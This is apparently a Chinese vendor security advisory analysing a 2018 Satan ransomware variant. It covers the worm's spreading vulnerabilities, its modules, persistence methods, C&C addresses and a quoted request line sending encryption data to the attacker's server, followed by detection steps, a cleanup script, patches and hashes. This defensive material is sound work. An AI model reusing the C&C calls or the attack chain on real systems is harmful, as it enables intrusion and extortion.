Satan变种病毒分析处置手册

2019-10-24 11:51:11 浏览数 (1)

预警编号:NS-2018-0038-1

2018-11-30

TAG:

Satan、蠕虫病毒、文件加密

危害等级:

高,Satan变种病毒已出现新变种,感染范围较广,可以同时感染Linux和Windows主机。

版本:

1.0

1

风险概述

2018年11月初,绿盟科技发现部分金融客户感染了linux和windows跨平台的蠕虫病毒样本FT.exe,其采用类似Satan勒索病毒的传播渠道,利用多个应用漏洞进行传播。该蠕虫病毒进入系统后无明显破坏行为,仅传播自身。

2018年11月底,国内多个金融客户感染了跨平台的勒索病毒,该病毒是上述蠕虫FT.exe的变种版本,病毒会释放门罗币挖矿程序和勒索软件。该勒索病毒可以在Linux和Windows平台进行蠕虫式传播,并将本地文件加密为.lucky后缀,释放勒索信息文件_How_To_Decrypt_My_File_.txt。

目前黑客的C&C服务器仍然存活,不排除有大面积感染的风险,请相关用户引起关注,及时做好防护措施,相关的IoC信息可参考附录。

SEE MORE →

2病毒分析

1

传播方式

Satan病毒家族通过下面8种通用漏洞进行传播。目前发现Satan在linux平台会进行内部IP遍历 端口列表的方式进行漏洞扫描。在windows平台会以IP列表 端口列表的方式进行漏洞扫描。

1. JBoss反序列化漏洞

2. JBoss默认配置漏洞(CVE-2010-0738)

3. Tomcat任意文件上传漏洞(CVE-2017-12615)

4. Tomcat web管理后台弱口令爆破

5. WebLogic 任意文件上传漏洞(CVE-2018-2894)

6. Weblogic WLS 组件漏洞(CVE-2017-10271)

7. Windows SMB远程代码执行漏洞MS17-010

8. Apache Struts2远程代码执行漏洞S2-045

9. Apache Struts2远程代码执行漏洞S2-057

10. Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

2

影响范围

Linux系统和Windows系统。

3

近期版本变更

  • V1.10

linux和windows跨平台的蠕虫病毒, 进入系统后无明显破坏行为,仅传播自身。

  • V1.13

增加了勒索病毒模块,可以将本地文件加密为.lucky后缀,释放勒索信息文件_How_To_Decrypt_My_File_.dic。

4

病毒行为

由于此次Satan变种病毒可以在Linux和Windows跨平台传播,所以需要对病毒行为进行分别分析。

Satan变种—Linux平台

Satan变种分为4个模块程序,包括ft32,conn32,cry32,mn32。都是32位linux程序,同样每个模块都有对应的64位版本的程序,相应的以64为文件名的后缀。

ft模块

ft32是Satan变种的主模块,负责下载其他模块程序并执行。该程序启动后会检测自身文件名是否为.loop,如果自身文件名不是.loop,会将自身复制到当前目录。同时结束ft32进程,启动.loop程序进行后续行为。

以.loop文件名启动之后,首先会下载mn32/64,conn32/64,cry32/64三个文件,保存到本地,保存的文件名分别为.data,.conn,.crypt。对应的样本代码逻辑如下。

下载其他模块程序完成后,进入sub_804A52A函数,进行后续操作。

第一步,尝试链接CC服务器,尝试对4个IP地址进行HTTP访问,如果此IP地址存活,则将其保存为后续的通讯地址。下图代码为分别对111.90.158.225、107.179.65.195和23.247.83.135进行尝试性HTTP访问,如果通过HTTP请求获取到</ver>字符串,则将该IP地址保存为之后的CC服务器通讯地址。

第二步,在sub_8049719函数中使用了三种方式实现开机自启。

  1. 首先通过修改计划任务文件,实现开机自启。
  2. 通过创建/etc/rc6.d/S20loop服务,实现开机自启。
  3. 通过修改rc.local文件,实现开机自启。第三步,构造通信数据,使用的请求如下。

conn模块

该模块为Lucky样本的漏洞利用模块,自身同样使用upx压缩加壳,脱壳后大小为4000KB。Lucky样本的漏洞利用模块复用了Satan病毒的相关代码,对外进行的攻击类型一致。

此模块运行之后首先获取自身网段的地址,然后加载一个大小为230的端口列表(端口列表见附录C)。通过自身网段的遍历和端口列表的组合,进行端口扫描。分析时样本产生的网络行为。

如果发现可用的IP与端口,则尝试进行触发漏洞。尝试触发的漏洞类型包括以下10种:

  1. JBoss反序列化漏洞(CVE-2013-4810、CVE-2017-12149)
  2. JBoss默认配置漏洞(CVE-2010-0738)
  3. Tomcat任意文件上传漏洞(CVE-2017-12615)
  4. Tomcat web管理后台弱口令爆破
  5. WebLogic 任意文件上传漏洞(CVE-2018-2894)
  6. Weblogic WLS 组件漏洞(CVE-2017-10271)
  7. Windows SMB远程代码执行漏洞MS17-010
  8. Apache Struts2远程代码执行漏洞S2-045
  9. Apache Struts2远程代码执行漏洞S2-057
  10. Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

下图为利用Tomcat上传漏洞是上传的jsp文件。

此模块除了尝试以上对web中间件的扫描攻击,还会对linux的主机口令尝试爆破。爆破的用户包括以下4个:

使用的弱口令列表如下:

cry模块

此模块用于对本地文件的加密,下图为cry模块加密时的白名单,如果被加密的文件保存在下面7个路径中,则不进行加密。

在加密的过程中会将加密文件的参数信息上传到攻击者的111.90.158.225服务器,具体发送的请求如下,其中“xxx”是样本在运行时动态拼接的数据。

111.90.158.225/cyt.php?code=xxx&file=xxx&size=xxx&sys=linux&VRESION=4.3&status=xxx

mn模块

此模块是一个xmrig开源挖矿程序,其代码发布在https://github.com/xmrig/xmrig。挖矿地址配置信息如下:

Satan变种—Windows平台

fast.exe

fast.exe是Satan变种的主模块,主要负责下载conn.exe和srv.exe,并使用ShellExecuteA函数对程序进行启动,其中srv.exe启动时使用install参数。

cpt.exe

cpt.exe主要负责加密功能。

选择加密文件的后缀列表如下:

bak,sql,mdf,ldf,myd,myi,dmp,xls,xlsx,docx,pptx,eps,txt,ppt,csv,rtf,pdf,db,vdi,vmdk,vmx,pem,pfx,cer,psd

为了保证系统可以正常运行,样本不会加密以下目录中的文件:

Windows目录python2, python3, boot, i386, 360safe, intel, dvd maker, recycle, jdk, lib, libs, microsoft, 360rec, 360sec, 360sandLiinux目录 /bin/, /boot/, /sbin/, /tmp/, /dev/, /etc/, /lib/, /lib64/, /misc/, /net/, /proc/, /selinux/, /srv/, /sys/, /usr/lib/, /usr/include/, /usr/bin/, /usr/etc/, /usr/games/, /usr/lib64/, /usr/libexec/, /usr/sbin/, /usr/share/, /usr/src/, /usr/tmp/, /var/account/, /var/cache/, /var/crash/, /var/empty/, /var/games/, /var/gdm/, /var/lib/, /var/lock/, /var/log/, /var/nis/, /var/preserve/, /var/spool/, /var/tmp/, /var/yp/, /var/run/

在启动加密之前,样本会通知C&C服务器加密开始,并将status参数设置为begin:

通知流量如下:

样本运行后会生成随机字符串,然后取前32字节作为密钥,使用AES_ECB算法,每次读取16字节对文件进行加密:

所有文件使用同一密钥进行加密,加密成功后样本将原文件重命名为如下形式:[nmare@cock.li]filename.tRD53kRxhtrAl5ss.lucky。完成所有加密工作后,会告知C&C服务器加密完成,并将status参数设置为done:

当全部文件加密完成,样本将用于文件加密的AES密钥使用RSA算法打包并添加至文件末尾,通常,用户需要支付赎金方能得到用于解密文件的AES密钥。

conn.exe

conn.exe是漏洞利用工具包的母体,释放永恒之蓝的漏洞利用工具和windows口令转储工具mmkt.exe。之后启动mmkt.exe和blue.exe程序,其中blue是永恒之蓝利用工具,尝试通过ms17-010感染其他机器。

conn.exe运行之后会在内部网段的B段进行445端口扫描,尝试进行ms17-010漏洞利用。同时使用自身IP列表 端口列表组合的方式,尝试对外部网络进行漏洞攻击。

srv.exe

下载cpt.exe加密组件和mn32.exe挖矿程序。

不带参数执行,发送受害者主机相关信息

更新srv.exe程序,并重启服务。

带参数执行,参数为install或者removesrv,主要负责创建和删除服务Logs Service。

mn32.exe

此模块是一个xmrig开源挖矿程序,其代码发布在https://github.com/xmrig/xmrig。挖矿地址配置信息如下:

conn模块对各漏洞的攻击代码

JBoss反序列化漏洞利用

JBoss默认配置漏洞(CVE-2010-0738)

Tomcat任意文件上传漏洞(CVE-2017-12615)

Tomcat Web管理后台弱口令爆破

Weblogic任意文件上传漏洞(CVE-2018-2894)

Weblogic WLS组件漏洞(CVE-2017-10271)

Weblogic任意文件上传漏洞(CVE-2018-2894)

Windows SMB远程代码执行漏洞MS17-010

Apache Struts2 远程代码执行漏洞S2-045

Apache Struts2 远程代码执行漏洞S2-057

Spring远程代码执行漏洞(CVE-2018-1273)

3处置方案

1

检测方案

网络层:

通过出口防火墙或其他类似安全设备,检测是否存在JBoss反序列化漏洞等多种漏洞利用行为,检测是否存在端口扫描行为。对以下域名/IP的请求进行检测,以发现其他感染主机(完整IP列表见附录)。

IP

HTTP请求

111.90.158.225

http://111.90.158.225/version

107.179.65.195

http:// 107.179.65.195/version

23.247.83.135

http:// 23.247.83.135/version

111.90.158.224

http:// 111.90.158.224/version

主机层:

  • linux

使用命令ps -ef | grep loop和ps -ef | grep conn查看是否存在loop以及conn进程。

使用命令find / -name “.loop”和find / -name “.conn”以及find / -name “.hash”全盘搜索是否存在.loop、.conn、.hash文件。

用命令crontab -l 查看是否存在异常启动项.loop 。

检查是否出现以.lucky后缀名的文件

检查是否存在/etc/rc6.d/S20loop文件

  • windows

查看C:目录是否存在fast.exe文件或者_How_To_Decrypt_My_File_.Dic文件。

查看C:Program FilesCommon FilesSystem目录是否存在conn.exe、srv.exe文件。

查看C:userall users或C:ProgramData目录下是否存在永恒之蓝工具包:

查看系统中是否存在blue.exe、fast.exe、star.exe、srv.exe、conn.exe、cpt、mmkt.exe、等进程。

查看注册表中是否存在异常注册表键值:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesLogs Service。是否存在Logs Service服务

应用层:

  • Tomcat服务

登录控制台查看是否存在异常war包。

其他服务

由于该木马集成了以下漏洞攻击工具,若系统部署Jboss、Weblogic服务,检查系统jboss、weblogic目录是否存在异常war包。

2

病毒清理方案

  • Linux

断网隔离防止在木马查杀过程中二次感染。。

检查crontab文件和rc.local文件,删除lucky病毒的相关启动信息。

使用kill -9 pid 命令结束.loop、.conn32/64、.cry32/64进程。

检查/etc/rc6.d/S20loop文件指向的位置,删除该目录下相关的样本程序文件,包括.loop,.conn32/64,.cry32/64,最后删除/etc/rc6.d/S20loop文件。

修改操作系统ssh服务口令为强口令。

  • Windows手动清理

1、 断网隔离防止在木马查杀过程中二次感染。

2、 因为该木马集成弱口令扫描功能以及mmkt.exe密码抓取工具,修改系统密码防止在木马查杀过程中二次感染。

3、 结束系统中blue.exe、fast.exe、star.exe、srv.exe、conn.exe、mmkt.exe等进程。

4、 删除C:目录下的fast.exe文件。

5、 删除C:Program FilesCommon FilesSystem目录下的conn.exe、srv.exe文件。

6、 删除查看C:userall users或C:ProgramData目录下的永恒之蓝工具包(根据写入时间判断,避免误删系统正常文件):

7、 删除木马创建的注册表键值:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesLogs Service。

8、 安装针对ms17-010漏洞(永恒之蓝利用工具)的操作系统补丁。

9、 修改操作系统密码为强口令。

  • Windows脚本清理

@echo off

taskkill /f /im fast.exe

taskkill /f /im srv.exe

taskkill /f /im cpt.exe

taskkill /f /im conn.exe

taskkill /f /im star.exe

taskkill /f /im blue.exe

net stop "Logs Service"

sc delete "Logs Service"

del /a /f "C:Program FilesCommon FilesSystemft64"

del /a /f "C:Program FilesCommon FilesSystemconn.exe"

del /a /f "C:Program FilesCommon FilesSystemcpt.exe"

del /a /f "C:Program FilesCommon FilesSystemsrv.exe"

taskkill /f /im star.exe

taskkill /f /im blue.exe

set path=%ALLUSERSPROFILE%

del /a /f "%path%blue.exe"

del /a /f "%path%blue.fb"

del /a /f "%path%blue.xml"

del /a /f "%path%cnli-1.dll"

del /a /f "%path%coli-0.dll"

del /a /f "%path%crli-0.dll"

del /a /f "%path%dmgd-4.dll"

del /a /f "%path%down64.dll"

del /a /f "%path%exma-1.dll"

del /a /f "%path%libeay32.dll"

del /a /f "%path%libxml2.dll"

del /a /f "%path%mmkt.exe"

del /a /f "%path%posh-0.dll"

del /a /f "%path%ssleay32.dll"

del /a /f "%path%star.exe"

del /a /f "%path%star.fb"

del /a /f "%path%star.xml"

del /a /f "%path%tibe-2.dll"

del /a /f "%path%trch-1.dll"

del /a /f "%path%trfo-2.dll"

del /a /f "%path%tucl-1.dll"

del /a /f "%path%ucl.dll"

del /a /f "%path%xdvl-0.dll"

del /a /f "%path%zlib1.dll"

del /a /f "c:fast.exe"

pause

(脚本代码文件见附录D)

  • Tomcat服务

1、 登录tomcat控制台对异常war包进行删除。

2、 根据异常war包确认对应的jsp、java、class文件,并全盘搜索删除。

3、 修改tomcat服务控制台口令为强口令。

  • 其他服务

对JBoss、Weblogic漏洞进行补丁更新并修改后台管理密码为强口令。

3

文件解密

根据绿盟科技安全研究团队的研究结果,该勒索软件依赖于AES算法对文件进行加密,然而通过分析样本代码可以看出,样本内存在较严重的内存空间浪费和野指针问题,这一点在该家族的windows版本中尤为突出,成为该勒索软件的致命缺点,直到样本退出时,原始的AES密钥依旧留在内存中没有擦除。因此如能在样本完成加密后第一时间对物理内存进行取证分析,即可从物理内存中提取出密钥字符串对加密文件进行解密。

4防护方案

1

防护建议

  • 更新Apache Structs2组件版本到最新,修复(s2-045)(s2-046)(s2-057)漏洞;
  • 更新JBoss版本到最新,修复(CVE-2013-4810) (CVE-2010-0738)漏洞;
  • 更新Tomcat修复任意文件上传漏洞(CVE-2017-12615);
  • 更新Weblogic版本修复任意文件上传漏洞(CVE-2018-2894)和WLS 组件漏洞(CVE-2017-10271);
  • 更新系统补丁,修复ms17-010漏洞,或者关闭不必要的SMB服务。
  • 加强主机账户口令复杂度及修改周期管理,并尽量避免出现通用或规律口令的情况;
  • 修改系统管理员默认用户名,避免使用admin、administrator、test等常见用户名;
  • 安装具备自保护的防病毒软件,防止被黑客退出或结束进程,并及时更新病毒库;
  • 加强企业员工安全意识培训,不轻易打开陌生邮件或运行来历不明的程序;
  • 及时更新操作系统及其他应用的高危漏洞安全补丁;
  • 定时对重要业务数据进行备份,防止数据破坏或丢失。
  • 不同业务网络之间做好VLAN或端口隔离,防止病毒在内部跨网段传播。
  • 关注漏洞预警信息,及时修复重要漏洞,如绿盟科技安全预警公众号。

2

漏洞修复方案

利用漏洞

影响范围

修复方案

JBoss反序列化漏洞

Jboss多版本

升级到最新Jboss版本 Jboss-EAP-7.1

JBoss默认配置漏洞(CVE-2010-0738)

JBoss企业应用平台4.3.0 x86_64JBoss企业应用平台4.3.0 i386

升级到最新Jboss版本 Jboss-EAP-7.1

Tomcat任意文件上传漏洞(CVE-2017-12615CVE-2017-12617)

Apache Tomcat 7.0.0 - 7.0.81

禁用PUT方法,升级Tomcat版本 Tomcat 7.0.92 https://tomcat.apache.org/download-70.cgi

Tomcat web管理后台弱口令爆破

Tomcat

建议用户直接登录服务器进行应用部署,禁用Tomcat Web管理页面的登录功能,或使用复杂口令。

Weblogic WLS组件漏洞(CVE-2017-10271)

Oracle Weblogic Server 10.3.6 0 Oracle Weblogic Server 12.2.1.2 Oracle Weblogic Server 12.2.1.1 Oracle Weblogic Server 12.1.3.0

及时下载更新包,并升级WebLogic。升级过程可参考如下链接:http://blog.csdn.net/qqlifu/article/details/49423839官网通告https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

WebLogic 任意文件上传漏洞(CVE-2018-2894)

Oracle Weblogic Server 12.1.3.0 Oracle Weblogic Server 12.2.1.2 Oracle Weblogic Server 12.2.1.3

参阅官网补丁更新通告https://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html

Apache Struts2远程代码执行漏洞S2-045/S2-046

Apache Struts 2.3-2.3.31 Apache Struts 2.5-2.5.8

升级Struts框架版本 2.5.18:http://mirrors.hust.edu.cn/apache/struts/2.5.18/struts-2.5.18-all.zip2.3.36:http://mirrors.hust.edu.cn/apache/struts/2.3.36/struts-2.3.36-all.zip1.3.10:http://mirrors.hust.edu.cn/apache/struts/1.3.10/struts-1.3.10-all.zip

Apache Struts2远程代码执行漏洞S2-057

Apache Struts 2.3-2.3.34 Apache Struts 2.5-2.5.16

升级Struts框架版本 2.5.18:http://mirrors.hust.edu.cn/apache/struts/2.5.18/struts-2.5.18-all.zip2.3.36:http://mirrors.hust.edu.cn/apache/struts/2.3.36/struts-2.3.36-all.zip1.3.10:http://mirrors.hust.edu.cn/apache/struts/1.3.10/struts-1.3.10-all.zip

Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

Spring Data Commons 1.13 - 1.13.10, 2.0 - 2.0.5

升级到包含Spring Data Commons的Apache Ignite 2.6或更高版本

Windows SMB远程代码执行漏洞MS17-010

Windows多版本

安装各系统版本对应MS17-010补丁,补丁列表见附录

系统账户弱口令爆破

Windows多版本

加强主机账户口令复杂度及修改周期管理,并尽量避免出现通用或规律口令的情况

3

产品防护方案

绿盟科技入侵防护产品(IPS)可对有效的阻断此病毒的传播,请部署有IPS的用户及时更新防护规则,对应规则编号如下:

漏洞

IPS规则编号

JBoss反序列化漏洞(CVE-2013-4810)

67542

JBoss默认配置漏洞(CVE-2010-0738)

674406744167442

Tomcat任意文件上传漏洞(CC)

24101

Weblogic WLS 组件漏洞(CVE-2017-10271)

24207

Windows SMB远程代码执行漏洞(Shadow Brokers EternalBlue)(CVE-2017-0144)

23994

Struts2远程命令执行漏洞(s2-045)(s2-046)(CVE-2017-5638)

23986

Struts2远程命令执行漏洞(CVE-2018-11776)(S2-057)

24298

最新的IPS产品规则可到下面的链接下载:

  • 入侵防护系统(IPS)http://update.nsfocus.com/update/listIps

附录A病毒样本信息

ft

32

md5

8d3c8045df750419911c6e1bf493c747

sha1

58f91b6591c65357dbb8fdd4e06ffbc8bdab9ff3

sha256

97f9c8f59717c376c334e955737f8d1d94375f5692a4a062c06ba5511fa561a4

64

md5

e145264cffa3c01a93871b27a4f569cc

sha1

53bddb169487ece1c951f0e2ac2f53b624d59b15

sha256

3d3bd8aff233c48f95f1d3dea0e5994c8cc0de1521af28ee19fad38ffb49a67c

cry

32

md5

d1ac4b74ee538dab998085e0dfaa5e8d

sha1

47689e8fa55241d16198db2e733a2ec0b09f46d7

sha256

e67aecfe212f36f79628b2ca8211fb1635e3da38a043ccce9ae085e7c0459e44

64

md5

a8cab7c48d687b510fb8eaf053bd5722

sha1

d9901f510c04b1ea99e7dab91a91863ebfefc251

sha256

cba2deb38b87d40307d784b67fda48bedee211f1037f4cc00629b3a2635eab88

conn

32

md5

84ddee0187c61d8eb4348e939da5a366

sha1

d6eb4188655775e01ac52c4ade71bbc8e96cb75d

sha256

8f6c5027de20d6fbb4d87add2896363567814ac5faa7ddd3bae3cd56dc8c5bbb

64

md5

4116b90d7b1fea1a31dcf4ead3ac17e2

sha1

24bbe652855641dd5ba950006d97d971a1072f08

sha256

a51625479cbcd4b1a6ad27e0f63636926b9785fcdc1011375e4eed2b253f900b

mn

32

md5

72919d2e7c604a27a2bf1ffe610a71d2

sha1

bcf07d1d908599f96275fd26d8d68e73468c0541

sha256

0ef95cf1e8acf19a321326e418289f622ad8a5b1b6c5d0bec6a6b06011aec0a1

64

md5

f99d65c45260453ddf40dd5af0e4975e

sha1

daddb0e2cdc187b2185388eaa637f605ebd3fec9

sha256

68f2602d0ad904f6e883228320c97a0b1da58d757b6803c030791b43b744eda1

fast.exe

md5

7fcd8a6c72c06d1892132d5e1d793b4b

sha1

104a5452b99da8546e07c19bd0e711b1a1a6bc51

sha256

f3b5aa8c014cf9fbb35062a663cd40d5e845a98e48819a3f488755d0ba6f08b1

cpt.exe

md5

bee0dcb9f6e79a68452eb035ff8bee8b

sha1

19fe5d38bafb6f78e6e87297c13c13238b0a7de2

sha256

987a46bb093ccd4d23b6fee98474a00557a2ce4c531f294e57091f455435c928

conn.exe

md5

34cdbbda5f7c02ca179a366232adbb96

sha1

50d1dbff0f4cecbd8649ef54ad2084376795db5e

sha256

6f69d97a8407fe9bab7cbb068386e7af2ff805d9509c0061c876a94d30a3f809

srv.exe

md5

161090cac8c73b249e8b9a939ab4b665

sha1

a32def1dee2280dfd1b8d911b8358877df6e8d0e

sha256

4d935d56592d4a5513dd6e4182aaec3422205dc9d8dcc4f17eaa7a6b194b9624

END

作者:绿盟科技安全服务部

声明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。

绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

0 人点赞